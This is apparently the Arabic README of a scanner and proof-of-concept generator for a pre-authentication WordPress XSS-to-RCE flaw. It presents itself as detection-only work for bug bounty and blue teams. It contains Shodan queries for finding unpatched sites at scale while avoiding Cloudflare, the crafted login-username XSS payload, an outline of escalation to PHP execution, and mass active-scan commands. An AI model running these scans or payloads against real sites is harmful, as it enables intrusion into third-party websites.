
🔥 XSS2Shell — ماسح CVE-2026-64638 وأداة إثبات المفهوم (PoC)
ماسح جماعي يعتمد على السلوك أولًا، ومولّد أدلة PoC لسلسلة XSS-إلى-RCE قبل المصادقة في ووردبريس التي تؤثر على أكثر من 500 مليون موقع.
للكشف فقط. لا أسلحة. صُمم لبرامج مكافآت الاختراق والفرق الزرقاء.
ما هذا؟ • بدء سريع • استعلامات Shodan • الاستخدام • مصفوفة القرار • الاكتشاف • الأسئلة الشائعة
ابحث عن حالات ووردبريس المعرضة للخطر عبر الإنترنت قبل الفحص:
http.component:"wordpress" -http.title:"Just a moment"
يجد مواقع ووردبريس مع استبعاد صفحات "Just a moment" من Cloudflare / حماية البوتات التي ستحظر الطلبات الآلية أو تتحداها.
http.component:"wordpress" http.title:"Log In"
يعيد فقط صفحات تسجيل دخول ووردبريس — سطح الهجوم المحدد لـ CVE-2026-64638.
http.component:"wordpress" "wp-content" "?ver=7.0" -"?ver=7.0.3"
يحدد حالات WordPress 7.0.x التي لا تحتوي على تصحيح 7.0.3 عبر بصمة إصدار الأصول.
http.component:"wordpress" http.html:"wp-login.php"
يلتقط المواقع التي يمكن الوصول فيها إلى wp-login.php لكنه قد لا يكون الصفحة الحالية — تغطية أوسع.
http.component:"wordpress" -http.title:"Just a moment" -http.title:"Attention Required" -org:"Cloudflare"
عامل تصفية عدواني يستبعد معظم الأهداف خلف Cloudflare. استخدمه عند الفحص على نطاق واسع مع --active — سيقوم Cloudflare بتقييد المعدل أو حظر طلب الفحص.
نصيحة: صدّر نتائج Shodan باستخدام
shodan downloadومرّر أسماء المضيفين مباشرة إلىxss2shell_mass.py -i.
في 7 أغسطس 2026، كشفت pwn.ai عن CVE-2026-64638 (XSS2Shell) — ثغرة برمجة نصية عبر المواقع (XSS) حرجة قبل المصادقة في نواة ووردبريس تتسلسل حتى تنفيذ التعليمات البرمجية عن بُعد على الخادم. [citation:pwn.ai blog]
تستغل الثغرة اختلافًا في التحليل بين دالة PHP strip_tags() ودالة ووردبريس wp_kses_post():
strip_tags() يستخدم < متبوعة فورًا بحرف لتحديد وسوم HTML. < area id=...> (مع مسافة) يُعامل كنص — فيبقى.wp_kses_post() (KSES) يتعرف على < area كعنصر <area> صالح — و<area> مدرج في القائمة المسموح بها في KSES. [citation:pwn.ai blog]محاولة تسجيل دخول فاشلة واحدة باسم مستخدم مُصمم خصيصًا < area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert>... تتجاوز كلا أداتَي التنقية، ويُعرض كـ DOM حي في صفحة تسجيل الدخول، ويختطف سكربت ووردبريس الخاص user-profile.js عبر DOM clobbering، ويشغل alert() في نطاق ووردبريس — بدون أي نقرة، وبدون مصادقة، وبدون أي ملفات تعريف ارتباط مطلوبة. [citation:pwn.ai blog]
هل تصعّد إلى مسؤول مسجّل الدخول؟ نفس البدائية تسرق كلمات مرور التطبيقات عبر Same Origin Method Execution (SOME)، وترفع إضافة ضارة، وتنفّذ PHP بصلاحيات www-data. [citation:pwn.ai blog] [citation:hadrian.io blog]
المتأثر: WordPress من 6.4 حتى 7.0.2 — تم إصلاحه في 7.0.3 مع تصحيحات خلفية إلى 4.7+.
التأثير: ~500 مليون موقع ويب وقت الإفصاح. [citation:pwn.ai blog]
| الموارد | الرابط |
|---|---|
| الإفصاح الأصلي (pwn.ai) | pwn.ai/blog/xss2shell |
| التحليل التقني من Hadrian | hadrian.io/blog/wordpress-xss2shell |
| نشرة ووردبريس الأمنية (GHSA) | GHSA-52p2-r8wf-jcrf |
| بحث هجوم SOME (2022) | pwn.ai/blog/bypass-csp-using-wordpress |
| إصدار ووردبريس 7.0.3 | wordpress.org/news/2026/08/wordpress-7-0-3-release |
هذه حزمة أدوات للكشف فقط. إنها لا تحوّل الثغرة إلى سلاح — بل تمنح باحثي الأمن وصيادي مكافآت الاختراق والفرق الزرقاء كل ما يلزم من أجل:
alert() فقط)"سلسلة الإصدار تحدد مستوى التصحيح الذي يجب أن يكون عليه الكود نظريًا.
فقط سلوك أداة التنقية في صفحة تسجيل الدخول هو ما يحدد ما إذا كانت الثغرة تعمل فعلًا."
المضيفات المُدارة تعيد تطبيق التصحيحات الأمنية بصمت دون تغيير سلاسل الإصدارات. إضافات تحصين تسجيل الدخول تستبدل رسالة الخطأ بالكامل، مما يقتل قناة الانعكاس حتى على الإصدارات غير الآمنة. الماسحات التي تعتمد على الإصدار فقط تنتج نتائج إيجابية خاطئة ونتائج سلبية خاطئة. يرسل هذا الماسح فحصًا واحدًا غير ضار ويصنّف سلوك أداة التنقية الفعلي.
git clone https://github.com/jakestone/xss2shell.git
cd xss2shell
pip install -r requirements.txt
# Passive — no probes sent to target, version + endpoint fingerprinting only
python3 xss2shell_mass.py -i domains.txt -o results
# Active — sends ONE benign failed-login per host (authorized assets only!)
python3 xss2shell_mass.py -i domains.txt -o results --active --workers 80
# Single target
python3 make_poc.py --target https://blog.example.com
# Batch from scanner output
python3 make_poc.py --from-results results.csv -o pocs/
افتح ملف .poc.html المُولَّد في متصفحك أثناء تسجيل فيديو → إذا اشتعلت alert()، فقد التقطت دليل XSS قبل المصادقة.
xss2shell_mass.py)usage: xss2shell_mass.py [-h] -i INPUT [-o OUTPUT]
[--active] [--workers WORKERS]
[--timeout TIMEOUT] [--quiet]
| العلامة | الوصف |
|---|---|
-i, --input | ملف يحتوي على مضيف واحد في كل سطر (نطاق مجرد أو URL كامل) |
-o, --output | المسار الأساسي لملفات الإخراج (يُنشئ .csv + .json) |
--active | تفعيل الفحص السلوكي — محاولة تسجيل دخول فاشلة واحدة لكل مضيف |
--workers | حجم تجمع الخيوط (الافتراضي: 50، الحد الأقصى ~200 للاتصالات الجيدة) |
--timeout | مهلة HTTP بالثواني (الافتراضي: 10) |
--quiet | اطبع فقط confirmed_vulnerable و vulnerable و likely_vulnerable |
?ver= للأصول، مراجع wp-content)user-profile.js في قائمة التحميل، إصدارات أصول النواة/?rest_route=/&_method=GET&_jsonp=<random> — هل مسار JSONP مفتوح؟--active)يرسل محاولة تسجيل دخول فاشلة واحدة باسم مستخدم < area id=<RANDOM> href=/x2s> ويصنّف استجابة HTML: